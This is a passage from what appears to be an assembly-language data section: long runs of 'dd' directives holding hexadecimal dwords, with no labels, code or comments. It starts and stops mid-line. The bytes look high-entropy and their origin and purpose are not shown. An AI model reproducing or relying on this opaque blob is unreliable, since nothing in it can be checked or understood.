0C31090ABh, 0CDAC411Ch dd 95CD40F2h, 194F2A66h, 3CBEA38Bh, 0DC6A70BBh, 6000E82Ch dd 3C52D1C8h, 975201B6h, 0B56494A8h, 0B824AD67h, 4D2B4143h dd 0E4C85BD0h, 70B06902h, 0F067D1C9h, 42EE6C8Ah, 0BB346EE5h dd 0EBAF21B7h, 524B7D6Bh, 5C1C1C19h, 9FC40EABh, 69108FFFh dd 95208DCFh, 6FF617C2h, 0B99EEC2Fh, 0FF19C49Eh, 0BC469BA0h dd 0BE454F4Bh, 54649F95h, 29FF8825h, 0E6AF6DE9h, 21998C06h dd 0D458E1Ah, 469048CDh, 9FABEA47h, 42B494BAh, 0ACD29EC5h dd 7A89BF38h, 457FBE27h, 60CBE7D0h, 0E90D1530h, 0B6B13500h dd 0DCAA0811h, 941030A1h, 50701BB1h, 73B551AEh, 2AEF6A79h dd 0CE9B72F1h, 0D5F86816h, 57839C9h, 0F687DBB6h, 15E65D5Dh dd 524D1E7Bh, 7E6F2ABDh, 6A66CCB6h, 79EC53A6h, 5B4BC61Dh dd 4AE934C2h, 9218C9D8h, 4711126Eh, 7FCD18C6h, 6C60C9DCh dd 0B7A0E53Dh, 0EC09CB21h, 0F91832Ch, 0F163AB99h, 63703900h dd 0A1E63EEBh, 1BF1DEECh, 0E1A8B03Dh, 1B4894BEh, 8D0749EEh dd 597AC1A4h, 0D7FA298Fh, 0FEC52619h, 109FD9EFh, 83E317BDh dd 0CEDCF178h, 24FD8746h, 7D1CF678h, 15EC892Ch, 2CA2CA3h dd 0CC826D7Eh, 8B57DB36h, 0D221D51Fh, 706D4620h, 3C45E787h dd 0CEE57E4Ch, 5053A20Bh, 97EFB1E8h, 5FEF7602h, 94B3A141h dd 0AF2F8ED5h, 1DFDE9E5h, 2FB4C241h, 0D1C34AE0h, 5DCE8327h dd 427B8968h, 67C40768h, 0F0788C34h, 7E73A145h, 0C1B8F518h dd 31CED07Ch, 1F6B7B9Dh, 0D52C2F8h, 2E3BBBB7h, 67E23D06h dd 2E3097DAh, 0A6A4DEE3h, 0B3B19EDBh, 0A6D7B856h, 724F8BA0h dd 177FF177h, 63EE882Bh, 31F616A8h, 846D116Eh, 0C637F1C0h dd 26582A81h, 16C3F099h, 9FF3110h, 0E0D71E6Dh, 71BBB107h dd 0E5296DAFh, 1DC69531h, 150D3F69h, 0EF8C3F3h, 0BC285EDDh dd 32A5CD4Ch, 7BF66108h, 8AA69D96h, 0C3B0A9CFh, 1B16C6Fh dd 0E278CE4Dh, 0DA25F450h, 8B560F35h, 4919D4A9h, 14F74ACBh dd 11F7938Eh, 21136193h, 0CB70866Ch, 64A76CD6h, 5BD3797Eh dd 8C0F4B64h, 1621A395h, 6A924B47h, 504A0AB5h, 952ACB6Bh dd 5F5B0EA6h, 4561026Eh, 8E2D83B9h, 8EF12B18h, 0D02C9BCFh dd 0FB32B41Dh, 90A8A7Ah, 6E7C4678h, 961360B2h, 1BE78A9Bh dd 93A2F49Eh, 0B988C67Eh, 333E3B72h, 4EDF561Ch, 0BC5B6C3Bh dd 8940A283h, 2E26B737h, 90C7F715h, 88C9193Dh, 44C1BFDDh dd 0BB712E1Bh, 0A0095607h, 15BD6F4Fh, 0DBA5ADFFh, 4D5B1449h dd 0F3438B16h, 136B948Ah, 370817E5h, 9D0EA90Bh, 2314B94Eh dd 873BDBE2h, 0C399EA34h, 15877FB2h, 8DF2B2C7h, 1C5F91B8h dd 4694FCEFh, 0DF2702CDh, 5654DA31h, 7D9E2308h, 0E8A1AD97h dd 417E4825h, 0C4B7E789h, 3E17115Bh, 0C2DF3F06h, 52088F10h dd 0F676614Eh, 83B01AAFh, 0EB3E76C5h, 37DE8A85h, 59612D74h dd 0FD3B9FDBh, 7F39F112h, 0EE8532E0h, 93037F1Dh, 0D74AC4CCh dd 0DB71958Eh, 4A1DFFCAh, 9005A4EBh, 0FA298F38h, 25181A46h dd 0A490F8BFh, 136ACA91h, 0F24FCCA6h, 2E14581Ch, 0A8C073C2h dd 65ADE8C4h, 2E0A9EA1h, 0AE1D6484h, 92F1B4CCh, 36E1A8F0h dd 0F9B8C3D4h, 9305F235h, 0E8AC674Bh, 442314D0h, 5098AB7Eh dd 9DF705EDh, 0E34475D1h, 76851C7Bh, 0A03FA023h, 828E303Fh dd 9982E8D6h, 0AC1BC1AAh, 0A9629A33h, 0BE7EA9Bh, 0A6E75B1Ah dd 0DE4C567Fh, 5E42BFDAh, 0D1A46DC7h, 170EB2D3h, 0ADDD1F03h dd 0A65E6614h, 0EB8C6C39h, 20436C46h, 77FD1982h, 1512D08Ah dd 0F88D340Dh, 64816D2Eh, 0FB60A420h, 3584B208h, 0C94B1CD5h dd 8B8045CDh, 1C8920B9h, 0A11C689Fh, 8630CCE7h, 0D0009EA9h dd 42D99585h, 0B2C4350Fh, 6C5226FCh, 0ECDD9D3Ch, 0BB9F6C8Eh dd 5DFC3FB1h, 5EC8B7D3h dd 0E3D51566h, 0F29C45A1h, 0DD8ABFC5h, 0F087860Ch, 1631A4C7h dd 0D098705Bh, 50996949h, 0ED33E014h, 0DA728439h, 11216B32h dd 0ECBB2F50h, 0A6A64803h, 48D24B73h, 3733B6ECh, 57D71036h dd 0ACFA6FF2h, 25778D3Dh, 2961FDEh, 0D91F9DCBh, 0F3FD3C60h dd 0E70FE820h, 5A3F6296h, 6CAA86F0h, 8CAFECAAh, 0A50B9A9Eh dd 55348562h, 0DE1F63C3h, 0C19E3256h, 0B5FC66EDh, 266EC93Eh dd 56B669C8h, 69047775h, 23A099CBh, 0A08EF497h, 4F978921h dd 0F0CDF8B5h, 73EAB09Ah, 1E91E549h, 0AFAA3724h, 0D3375E5Eh dd 0B72BA140h, 47146622h, 0B687AED5h, 0D0BCB3B3h, 0FC600AC2h dd 230F5231h, 7201A7AEh, 0EC0210E5h, 37FC8A22h, 0F334372Ah dd 38682564h, 0C10019Ah, 98AE702Ah, 2DBFAA16h, 673F5309h dd 1FC9BA23h, 92AAD728h, 0E89E0AC1h, 626B125Eh, 993C06AEh dd 7A28528Ch, 0F4D16BF2h, 8DE590Dh, 0E8322A9Ah, 59CEA4B5h dd 0E07A5D8Dh, 10CDF2F6h, 259F865h, 0D93C8234h, 0C0FD067h dd 76C22FD7h, 0DA2376D6h, 0FABD1BDFh, 898F54BCh, 0EF48D88Eh dd 63EBCC15h, 5702B331h, 8AC8BB2Ch, 4B6529C8h, 32C923Ch dd 9D2BB54h, 8BC9C2E8h, 5080718Fh, 0B93A0535h, 8E16BD29h dd 0BD3F95FEh, 9851C718h, 9309723Bh, 4D5F1369h, 13AF21Bh dd 0FDCB7FDh, 906B4992h, 0EEFF2FABh, 0A34DC31Dh, 62EE8A4Fh dd 5E718169h, 0EBDCAF83h, 561F509Eh, 43DEBC00h, 9AB0DC27h dd 0F4018A96h, 0E3115CD0h, 95523F5Eh, 0DF2250F6h, 0AE71DE6h dd 29310C8h, 63D05FDAh, 7C73868Ah, 8E9DC0CEh, 0C3EEFAA2h dd 0BCB4ED8h, 4EAC7505h, 4059F1E1h, 48572220h, 5C24B72Bh dd 0D3B5D4DCh, 18D1E8FAh, 34AF9D3h, 29220630h, 88228293h dd 34CA2B0h, 47DC3E4Bh, 425AA842h, 7B7A909Bh, 0C4D5C200h dd 0E66268EDh, 8EECFD6Ah, 8F2E84E0h, 18D8949Fh, 7BC81E4Fh dd 0BBD39A78h, 5607C80Bh, 0CAB846EEh, 0B35F7AAEh, 0E638F2D3h dd 0C5A43499h, 76FFC424h, 758BEB5Dh, 0ED89BED5h, 0A08C95DCh dd 60646717h, 1742FA90h, 8303C339h, 0C1BAAFA9h, 21F07B2h dd 0FAE6A4ADh, 0DE53543Eh, 0C7C0009Eh, 0F35FD2B3h, 0AC579186h dd 9D0418AFh, 1B77BB7h, 0C525BD93h, 0B6A1B71Dh, 0EEE7E7Eh dd 0AC4955F5h, 1486E1EAh, 98381542h, 0D4E5EC06h, 53B3E827h dd 8F61E4CFh, 337F29D8h, 0F48DC069h, 0FBDE46AFh, 0D5C27D5Dh dd 0C338310Ch, 7CE2B81Ah, 0EE5BB20Bh, 27686BC6h, 0AFB55F85h dd 0B485D70Fh, 0CA2D9270h, 0CFF50ECFh, 134FF18Ah, 83D3D5D5h dd 7D4CD135h, 0AFFA9ED8h, 24B88424h, 40142C7Ah, 0E07C33ADh dd 7F208382h, 35D07F8Fh, 0B77EA627h, 0A4963071h, 0E0F5329Fh dd 0AF2CEC7Ch, 0E28EDD17h, 988EFF00h, 1E7C62F3h, 1DFDAF43h dd 96A252A2h, 0F5B35E2Fh, 0E9901C4Dh, 5112BAEBh, 0B27DEE69h dd 0BF231230h, 2BF07E17h, 0A2CC38ABh, 45398C5Bh, 225D6150h dd 0AC17EC20h, 0CF426BD1h, 61769C75h, 0E1CC15E0h, 0BF0E5E98h dd 0C25B72F1h, 0AECED05Fh, 0E2C47CDh, 0B776C079h, 6303E4DDh dd 8DDE59E0h, 8E3EBED8h, 974DA5FFh, 0FD59A1F8h, 0C76C9A11h dd 0D94F2A1Bh, 0AD2A17E8h, 3DEA6A94h, 1393209Fh, 0A638B0BDh dd 27816C40h, 0DAF05B90h, 0ECE2948Dh, 0AD4A2D9Eh, 3D95EF51h dd 94C6C5F4h, 0E53CA0CEh, 8A9ADFBBh, 18931B00h, 0B4B0B0BBh dd 9BADA995h, 0D712C2CDh, 0C80DE6DDh, 3BF1E680h, 31CFC89h dd 0EFF40BBEh, 0B438B9F7h, 0E8FC10A8h, 0FE47D352h, 24D7FE08h dd 3B39968Eh, 79FBA671h, 83EA6C01h, 0DC1260E2h, 25F7DB1h dd 859AABB7h, 5DD288BAh, 6DA3E6A7h, 0FD6AEBFDh, 1B2FEB53h dd 0F71ECDC5h, 0B2969E95h, 0B89E7DD6h, 0EACC7440h, 201FF547h dd 43E7123Bh, 57CD9C08h, 594CAE38h, 9AA8BC81h, 9BD09BDCh dd 2009FA9Eh, 0C9443F91h, 0DF96F280h, 35277735h, 0C50B09B7h dd 7E3BF920h, 7174C9B4h, 552DED7Bh, 2D20879h, 8F7DACB4h dd 9F465D1Eh, 6C06946Ah, 9096C13Bh, 4C35BC8Bh, 2D76E844h dd 0DAAB4BECh, 0A9087B6Ah, 173F54h, 0C77606FDh, 13DBB5Bh dd 26C81A33h, 67E55C50h, 1274A5C7h, 62CE1AAh, 9D2022C9h dd 0A66974CAh, 0B1BDAD9Eh, 6E83445h, 25384591h, 0C40A4502h dd 0A0CE11DAh, 997FFA9Eh, 0A2067E23h, 0EC513465h, 0EA0D205Bh dd 0B7F80317h, 71EA0A39h, 0F2E89B65h, 0F8B1E53Dh, 0CF3E5693h dd 6A81453Eh, 10F64050h, 55F831C1h, 0DF7D1F98h, 0BDE5A18Ah dd 96E17882h, 98920EEDh, 1CFF8D94h, 0CA4589BAh, 0F9DD348Dh dd 7EF36A3Fh, 3DA74399h, 8FA2A343h, 0CB3099C3h, 0D09E7425h dd 901CB50Dh, 3EC4703Ch, 0DF9DA95Bh, 0F0372F81h, 0C28DA670h dd 0ACCC93DDh, 7F51D118h, 39186BF6h, 880CBE56h, 4F22DE33h dd 0E6D2E060h, 0EEF949D4h, 0BF2FCE13h, 28F738AAh, 4BB5033Ah dd 0F9D72F96h, 6D897BACh, 0C65E222h, 0D9B2A90Ch, 47CCB527h dd 0D20958AAh, 214BBC6h, 351BDF3Eh, 64C2DAA7h, 0DBE0D35Bh dd 8B2B5006h, 0B5B2F4DEh, 61356A0Dh, 0DA17C55Fh, 8B29FA2Eh dd 0CAC847BDh, 63C640D1h, 984FFB3Ch, 232DCF2Dh, 0F403CF1Fh dd 0A54EEF06h, 6542E18Fh, 68FFBD54h, 3F6B04B8h, 0EFBCBCB9h dd 0DA6C2B30h, 65C1BAC4h, 8E263BDFh, 38CCE623h, 0D73F9851h dd 509D455Bh, 6EC355A2h, 6F6BE7CFh, 0BB96AEE2h, 5373422Dh dd 5B5BC59Ch, 3A6F6B53h, 0BDF96F3Dh, 0DDDE04BEh, 17CD892Bh dd 7A0E8F06h, 0FECB3B5Eh, 0C06350D1h, 77F188A4h, 9A56F6BFh dd 66E50269h, 7A4B8C4Dh, 29C6C63Bh, 45534D54h, 9841069h dd 0B3C47B83h, 347A4BB5h, 0EF749BD9h, 3751A359h, 0C487E7EEh dd 970D27DFh, 732A305h, 0CE1684A9h, 13A8F5A0h, 9561AC4h dd 0F16B63EAh, 1FBFF507h, 90E0E2Ah, 1A998C55h, 0E545F11Eh dd 3DA67061h, 0D42C6051h, 255B119Ch, 0F12B1047h, 1B829A44h dd 0E9E9BFCCh, 58C82D2Bh, 68EC5AF4h, 8C14C19Ch, 8C142D4Dh dd 5E7F6706h, 3F105DE4h, 9E420885h, 0F25D8FEFh, 5BE43A1Fh dd 206D1B8Ah, 5983AF65h, 23E9B3ABh, 89860A57h, 869491F4h dd 0A0C18119h, 0B520CB9Bh, 873361C6h, 0A31A1B44h, 0AD5B210Dh dd 986A7F76h, 2156A113h, 70BB05A2h, 3821E21Ch, 759F9152h dd 65A30E63h, 0EB0DFCEDh, 0C06E240Ah, 8227DDEDh, 0EB0ADD9Dh dd 1C5C504h, 0D37352DCh, 88F44B5Ah, 97BD495Eh, 0F104E52Ah dd 4F04BC2Bh, 68171CE6h, 0C8B67DC5h, 0FC66CE15h, 2E3331E4h dd 26AFA7BCh, 9EC04B81h, 9E4C15C7h, 8CC704F1h, 0B3CB5113h dd 62783F75h, 28B2E5F7h, 0A9B01751h, 0CD23D9ADh, 9C67C898h dd 4B8EFA4Bh, 51B22CDEh, 82D4B006h, 98E297A0h, 0A4E8A571h dd 0F309C6A2h, 0F43ADDF3h, 9EAD405Eh, 0F1FB3543h, 0E0D27C63h dd 0F119C32h, 8C9808E4h, 4D46B8D8h, 84E5CF1Dh, 0FB3A7CC0h dd 0B04D63D1h, 0E42E971Ah, 748E2F3Bh, 99F6029Eh, 635BBFD6h dd 7637F818h, 0F623EC8Ch, 3620FF8Eh, 0AFCBBBFFh, 3509A4B1h dd 0D230FD28h, 9D5B1BD3h, 4DA4EAB6h, 45C82CF2h, 0BE7DC52Bh dd 867CCFFDh, 7D50CB0Ch, 2196E481h, 3FB6E89Bh, 0A9B46BAh dd 0DCBDF97Dh, 94A7F090h, 0B57E0346h, 0D75F51CFh, 0A62761F8h dd 0BF4D36E1h, 1AE7CB6Dh, 673B1B08h, 0E583907Fh, 0D7036A2Ch dd 27D75F41h, 7ED3639Fh, 7D8CE2E3h, 0C0118984h, 0E46E6428h dd 28786E6Eh, 0B78B8558h, 77ADEC02h, 88B435E9h, 1BF796E0h dd 80E2989Ah, 0B4609778h, 955C52CAh, 0B6E4DEC3h, 4451FB84h dd 2417C3F2h, 0B1FCACBBh dd 0BC7BF5EAh, 750667BEh, 50EF6C79h, 376E800Bh, 0D5ECDA5h dd 0DCE8516Eh, 0B5848CC0h, 354B1B9Bh, 9F243325h, 7C5D94Fh dd 0B6A38667h, 0DB945325h, 0EE424E7Bh, 3001189Eh, 0CCBD8F62h dd 6D844DAAh, 4B6DE4B9h, 46570389h, 447272E1h, 73789582h dd 9620D1DFh, 0B5D5AA61h, 0B5CC76Dh, 84C35D8Ah, 0C2080D9Dh dd 44044894h, 0C31CEB1Ah, 8CC2FBDh, 0A8A23732h, 67875FFh dd 0F5C739FFh, 36B7CB93h, 0B3824EC4h, 7D8FEF67h, 17C34457h dd 6B90A09h, 58B57306h, 0A8E7461Eh, 179E02A3h, 0C643D2A3h dd 8A5D4621h, 0BCF63127h, 929CB949h, 0EF1AE363h, 0A1BD618Dh dd 41191300h, 91DF3FC7h, 0DFF3C426h, 43AB992Bh, 74354D15h dd 13D2CE2Bh, 309B1582h, 538454B8h, 0AE831294h, 30DD66E6h dd 3243FB44h, 0E30E1951h, 0F564287Ch, 1270C6C6h, 2826FA7Eh dd 0D111A9CEh, 8C1D9C70h, 88474E8h, 42AC6E54h, 0D76BDC19h dd 0B00197A9h, 14EF0D27h, 817455E8h, 6FB85732h, 3ED0D517h dd 10936EBFh, 0A0D2D50Ch, 0A147782Bh, 0F4680077h, 0C378E723h dd 60FDC60Dh, 397AD0F7h, 527657FCh, 2650BD08h, 4FF55322h dd 62489C3Dh, 0A4D097C7h, 0D620C569h, 0BA635854h, 18097A1Ch dd 92B72BCCh, 57E6D9DEh, 8D0CF4F6h, 0AEAB6DE6h, 0E8B13B86h dd 0A0A1C6E2h, 0EE7C0A56h, 0C76C7F55h, 0E358EC37h, 0D614CE73h dd 2F3EDFBh, 0CC928F4Eh, 3DAAE800h, 857F4F54h, 0FBE56D46h dd 0A601B4D6h, 5A0BB904h, 2FBD6D04h, 0FF18F328h, 0E38C1B5Fh dd 0BCCEB78Bh, 2DA58E29h, 0D2864776h, 98C23584h, 465CADA0h dd 0BC07CB23h, 0EF7B3362h, 3F1D9087h, 20FDF4C6h, 0FB9081B2h dd 70AE1E7Eh, 0A61B9FF9h, 0EB07E42Fh, 76EB8BEEh, 14E36660h dd 984DC3ABh, 0D8625D61h, 0ED01921Fh, 0F96CA3A5h, 411B4AF0h dd 7179F743h, 0E252F2F0h, 25E5D9A0h, 0E96ECE79h, 9D6A46BEh dd 5E7A0B39h, 8C7E2C66h, 0A3B25FE2h, 6A779CEDh, 38CAC394h dd 0CA5BF915h, 44626F17h, 0C0A2DDD7h, 0CD0478E5h, 0B048C643h dd 0D33B1E4Fh, 0AB6FA836h, 491DCA26h, 75CE09E2h, 0DD1DF101h dd 0D79B811Ah, 0B36BB208h, 59F5BD32h, 0CCCFEA33h, 5C7E8EE9h dd 1CA3D4A8h, 0B7F1DE32h, 2BA48088h, 0E3EEA127h, 75ACE9EBh dd 0FF3DD61Bh, 0FC3AD032h, 299EFD80h, 0E73FDE7Bh, 56B4D855h dd 0E2D2B00Eh, 1DBDDF7Ch, 0B0F43A65h, 3EC7B6DEh, 0CD00AAE2h dd 1E4D729Fh, 5E278FDh, 0C7FD3C33h, 310544C6h, 91B210ACh dd 924E1A4Eh, 547E4E17h, 0B14C6EC1h, 388304B8h, 758ED2C2h dd 3D2B9021h, 0E10C32ECh, 94999014h, 0B2FA9B07h, 0DFADF19Dh dd 0FCBCA90Bh, 0AE6D2E31h, 5F157DF8h, 447C1DB9h, 398EA984h dd 0E4E84137h, 0FBE816BBh, 0E8214FBBh, 7E1D19D6h, 72E0811Fh dd 6BCB811Eh, 0B18FB0EFh, 9568C677h, 0BCF591C4h, 7BC48438h dd 0B11288Ah, 181924EDh, 53694692h, 356B4836h, 135421CFh dd 0EDFB13CEh, 0D47AB1E4h, 865C52CBh, 0D5BDC5A3h, 83B09237h dd 0DBCC9BAh, 5FD9B008h, 10A856DDh, 47F099F9h, 27B960D6h dd 26FE73EAh, 567C12B7h, 3E3D1C18h, 2928CA91h, 52B26076h dd 0B6BE2A15h, 0E6696B95h, 32CF6155h, 0E7A61D35h, 0AEE8B12Ah dd 0F7A2125Eh, 5D71C829h, 89CA7167h, 898B552Fh, 7B606F82h dd 0B924FCDh, 191C69B0h, 3E5907B7h, 0DF36F959h, 9B0D6C81h dd 94962405h, 999EC6CAh, 0A38C51DEh, 7D92BBACh, 2A559FBEh dd 869F35Eh, 58AD7667h, 0FB971FB2h, 0DEB451AFh, 0A8B5E682h dd 0DA67AB0Eh, 5D626F0Dh, 54D1A349h, 0ED483362h, 0DA6FF0ECh dd 0C7E1E71Fh, 751519E8h, 8CFE2629h, 0B83E66EFh, 8AD062FBh dd 7BF99068h, 8B1E59FCh, 1629E45Fh, 807F356Ch, 0E1DAD61Dh dd 0BBC65456h, 0D2243545h, 781403CAh, 83886717h, 23737A29h dd 36A2AF3Dh, 0B52B130Dh, 5B490B08h, 8D73FC71h, 680CD94Ah dd 0C1AFC5C1h, 73860C98h, 2F95B562h, 8019CF3Ch, 0D2DD7C0Dh dd 93AC5788h, 7F363h, 0F4D56EDFh, 4AE504B6h, 8AE10C61h dd 40204C8Bh, 48E3D0EDh, 3FCDABCBh, 119C7054h, 588C4446h dd 0BA21B7E5h, 0BD14D05Fh, 42B7A034h, 169D5F51h, 0F44A6637h dd 0A8D1B315h, 811CA93h, 0A2B6AEA7h, 0DAD1B421h, 6150F8E0h dd 3AA3ADA4h, 425BB76Dh, 988565C2h, 0E5ECECCFh, 4AB6C681h dd 430D9921h, 17F9E6B0h, 3D3DDACDh, 2DD68C11h, 0B896ACBFh dd 5CB37406h, 4219B5E9h, 63699FFAh, 39C195AEh, 0BA9769ABh dd 0C25C8E05h, 0C991E8A5h, 0E4E5EFC8h, 7A691E5Bh, 0D459F491h dd 165C0689h, 0D87189FFh, 0A7425E6Eh, 0BF84B387h, 0AB73C1E9h dd 809D32DEh, 0D076BC2Ah, 5B04223Ah, 0E7847A6Fh, 0BAB01CB4h dd 8E8DD38Ch, 0DF7BBAF7h, 485E8BFBh, 118F8C03h, 25E917ABh dd 934BB16Eh, 0CAD15563h, 2F482CA9h, 2034C081h, 0FF74B866h dd 2309543h, 7B3CB475h, 25A58AE1h, 102CAF05h, 0E6822CA8h dd 0C72FB5D3h, 15354A23h, 7B761A78h, 493F1300h, 46286C5Ch dd 74FD4B93h, 338C9169h, 0C438D92Dh, 32E84845h, 6D4287E9h dd 3364D202h, 7445EAC3h, 54FE2B4Ah, 606DAEA8h, 1E6174BBh dd 0F8C3959h, 186EF9C9h, 91D4CE39h, 0ADB20AD9h, 80E6854Dh dd 0B01DA7E8h, 79712219h, 7BC714BFh, 67D724D7h, 0AE012B3Bh dd 6EDF9487h, 85615E05h, 7E4091CDh, 30A56496h, 47FA478h dd 0D94943Ch, 763C8C6h, 6CB167EFh, 0FCAC09F1h, 9A99FC86h dd 0D74FFA1Dh, 734D8E0h, 0D78BA6DCh, 32476794h, 51191D67h dd 11D259F9h, 0B8A95DBBh, 8B7DF443h, 18E6E761h, 4F2124DBh dd 8BDBF535h, 0E693C059h, 6EAA82C0h, 4310F983h, 0ED2F53B6h dd 10CE2EBFh, 0FDD57BCCh, 0F4B80570h, 9930FBB1h, 0A6B5851Ah dd 0ED907665h, 34B22F1h, 0AA90B259h, 535C7EF3h, 8BA1D4F3h dd 0E49174A1h, 7C32EC7h, 4F8991C0h, 31658144h, 350CD038h dd 7355F5A3h, 77839285h, 0DAC55D5Eh, 3ED7FC9Eh, 15E61458h dd 2702845Fh, 707ACDAAh, 0B2749177h, 0DDE21D27h, 6D94251Ah dd 0BA83BE37h, 7A9D23CEh, 0BE9D0531h, 5305F2B3h, 30542D4Fh dd 0DF5EF654h, 0D2AD8360h, 0ED8F61F2h, 3F10F78Bh, 9A8AA315h dd 4BC658FAh, 6C244739h, 0EB55C879h, 0BC867C6Fh, 40B262B5h dd 87380C21h, 813EFD3Fh, 0EB0825BBh, 698C84E3h, 33DECD47h dd 33674385h, 3C48AA5h, 0A99CE4F2h, 259E2E8h, 832EB3BFh dd 0FCC005BCh, 67215632h, 0AF05EBB0h, 37240955h, 42FB1942h dd 20101FFBh, 0A8F844E0h, 733E6Dh, 6D18BD2Ah, 61B9035Dh dd 0C37D2294h, 0CF9EA119h, 0E7B97CC1h, 31DB7B59h, 8FB4C3AFh dd 608DE57Fh, 1639D4F7h, 380B513Dh, 0D0066EEDh, 0B53EB800h dd 0BDA31DE6h, 90F96D4h, 33EAA7ECh, 86D0B0D0h, 83C8A29Ch dd 0BCE0696h, 0D8B55F15h, 6CF651CBh, 0B303F0FCh, 62F03DCEh dd 75FF8CC7h, 16BF1169h, 0B2F63406h, 0F8F31584h, 6A3A6877h dd 0CF051798h, 0F6023A13h, 0BA1AF434h, 6F1BBE15h, 78BF7EBCh dd 1ABEC1E5h, 0ECDAF0CDh, 4F36DEFFh, 0D3B34512h, 2FA8ABF3h dd 0A8CBF828h, 0E5F9DA92h, 9C80EBFFh, 0D85F3BA2h, 7D65A110h dd 0F376F447h, 9E15E85Dh, 1A71B9E4h, 60BD906Dh, 79052C76h dd 1CEB2A2Bh, 8212F365h, 27C391C2h, 2A6AE593h, 22AE7DD4h dd 2E85B9CCh, 0D50E81Ah, 0A7599323h, 95573C29h, 9B900476h dd 0B47208CEh, 0C6831C86h, 0EFA14F38h, 0BE2088C0h, 63CBA16Ah dd 9E644499h, 0CB12AA2Eh, 0ED7804C9h, 1F44D3F9h, 3BF513E7h dd 0D1430AEBh, 358BC336h dd 0B0A88DF8h, 0ECF20150h, 0BF284661h, 85927230h, 81B8D358h dd 0DCE5283Ah, 0D1F4349Bh, 65F0237Ah, 0C7907C65h, 0CF86BB8Fh dd 2A2CD8Ah, 44F44050h, 89BAF58Bh, 0DB12A80Ah, 0F9A39723h dd 0F0BA268h, 94BF3A5Ch, 137CCA82h, 90172710h, 0BAD78CAh dd 93CB2CE3h, 2AC0BED8h, 1E28E33Ch, 77C6FEC4h, 0CB623FA6h dd 86F6FCB5h, 0DFC77984h, 6A37036Fh, 0A9EBCDC4h, 2161B047h dd 961A76BDh, 74C36AFh, 0AFD0309Eh, 34F1B6ECh, 0E7971DFAh dd 84828624h, 5A02B32Bh, 0A8716C88h, 75231771h, 0E6899B91h dd 6B4AA387h, 0F2851815h, 42F0C696h, 0B64E2ACFh, 0FD6FAD0h dd 0D1CF3A1Ch, 94664BC2h, 96990482h, 0D05438CEh, 53BA3427h dd 1E0F8C55h, 0A34937B4h, 5C58EB12h, 55F2ED3Ah, 0A9C8A342h dd 6FD0AB02h, 0D2643B5Bh, 8AE3E320h, 0A08C2CC5h, 0DDC3D8FAh dd 5B406F96h, 0DFF925AEh, 0A697DE73h, 0CFB9A62Bh, 88D473B9h dd 257246C8h, 0B374A613h, 0CDAE8E4Eh, 0D36C7479h, 65715569h dd 3687F0B3h, 0FE3A1EFDh, 0C33F91D9h, 0ED87BCE7h, 7819612Ch dd 4E1860A6h, 9D48E7A0h, 0FCD3BFE0h, 534D14F5h, 0B707823Ch dd 0E455A1F5h, 0B70CFBC3h, 1F918042h, 0F0149144h, 0E778FE20h dd 3C7CC8EFh, 0B11CE835h, 0A8AADE26h, 145C6788h, 0CF11218Ch dd 3D1CD1BAh, 30F6FCBDh, 193A9E06h, 377B897h, 0CFF41D6Eh dd 6E2EEAF3h, 0B0E27C3Bh, 7A79D7C2h, 8C8929C0h, 3392A3CBh dd 9EC2DC84h, 0B9708BABh, 0F68F7217h, 0FA29FDDDh, 6B9073E4h dd 4E3D112Dh, 0E4D792A2h, 8A960A2Ah, 0E04E9825h, 0A58042h dd 443FAD10h, 0C260C361h, 82D227FAh, 185B304Fh, 13D70EFh dd 63BC6ACh, 44C4D5CBh, 529522C0h, 90977197h, 5D306DA7h dd 5B079893h, 0A4C251EBh, 0DCDDC763h, 0C0B56F6Fh, 0FB62428Fh dd 0F46C60Ch, 5EA0D857h, 0BEA85E1Bh, 34A42409h, 0EBB40207h dd 6BAE0B30h, 0BC23FE0Eh, 7D9DB555h, 6FD0C3EFh, 0AB88B405h dd 0E8C6D73h, 5E9FC4DCh, 0E50F16D1h, 4042045h, 0D7FE737h dd 0F186C7EAh, 3650F306h, 0FEFDCFDAh, 6F89549Fh, 8796CD17h dd 0D1D43915h, 56738CB9h, 54C68971h, 5C57C0AFh, 3C7B494Dh dd 7D1FDA9Eh, 2A204AADh, 96FEB68Ch, 3EA7D120h, 6671E629h dd 0A19ABB6Bh, 0D1DC8747h, 0AA0FEF6Ah, 9495A5F9h, 0FC295784h dd 0EBB7A9B5h, 890053DBh, 26EC90B3h, 0D5F751E3h, 0B96B2E29h dd 7A52BBB3h, 105600B3h, 29DA7421h, 14D8D5BDh, 956B3C9Ch dd 5D11AABCh, 0D46D6C03h, 0FDF136F6h, 1A3BDD2h, 0C824DAB7h dd 0B498E454h, 705644CAh, 0DFC22A36h, 0C62D4BDDh, 0E40CD313h dd 0C5AD21EEh, 8128153Ch, 5B1D0506h, 1D2C29D2h, 42163429h dd 76363A0h, 0E981CCF5h, 3B88C463h, 9FBA31ABh, 0C8991712h dd 4F64D0h, 0C4137CBBh, 0E00F6859h, 0AFA50B40h, 12F91071h dd 0DB63F1E7h, 0B21CCC45h, 16A83683h, 96443137h, 3C25EAE4h dd 1184A313h, 0DB808AEDh, 5F1E6C64h, 4BA932B1h, 5EB9F713h dd 23E86672h, 0AB4FE8CCh, 0B508C50Eh, 0EC816FFFh, 203035DCh dd 0F6CB1D35h, 0E1133A3Ah, 0AFA7DF47h, 5B50E6DFh, 0D4A7AC1Dh dd 719ADDABh, 7D5E293Ah, 20B7A78Ah, 0DA49B6E4h, 234DA4h dd 6EBADF7Bh, 38AD4870h, 0DE25DB00h, 0E9074D14h, 6C46848Dh dd 0CC979EFDh, 0A1830284h, 6ED40597h, 0A2F9EDC8h, 0AEEF5FC7h dd 0D3DBD498h, 25D40FACh, 6E766273h, 26418107h, 5E5CB25Dh dd 0AAF75AD2h, 7487C71h, 0A3ACF51Ah, 4CFB8256h, 0E271558Fh dd 0F7857541h, 2ACF1186h, 99A556Bh, 0D98867F7h, 738B35B5h dd 86304B95h, 867DFC06h, 174843C2h, 5080B55Eh, 663757C7h dd 19E4D97Ah, 5116FF04h, 0DA231D3Ah, 3444D702h, 44AE373Fh dd 27D16483h, 9497BEA2h, 1DAAFE21h, 80D61C65h, 48ED4431h dd 536358ADh, 858005A9h, 0FF5AF9E7h, 2AA3F59Ah, 73A09C88h dd 0A83FC91Dh, 0EE717F98h, 31698223h, 1E98B504h, 92959CB9h dd 0C892CA05h, 39F52698h, 0ED709533h, 0B4A3E17h, 0B4373DCEh dd 4787CD4Dh, 31338D1Fh, 83FD8D1Eh, 6BA002F2h, 0D31DE99Ch dd 12F40FB8h, 0C2EF2341h, 72ED91ECh, 55B2D504h, 4FA1C43Ch dd 0FD994D30h, 0A42D546Bh, 85EC5DB7h, 0D21C94F6h, 39C4126h dd 0B328CB11h, 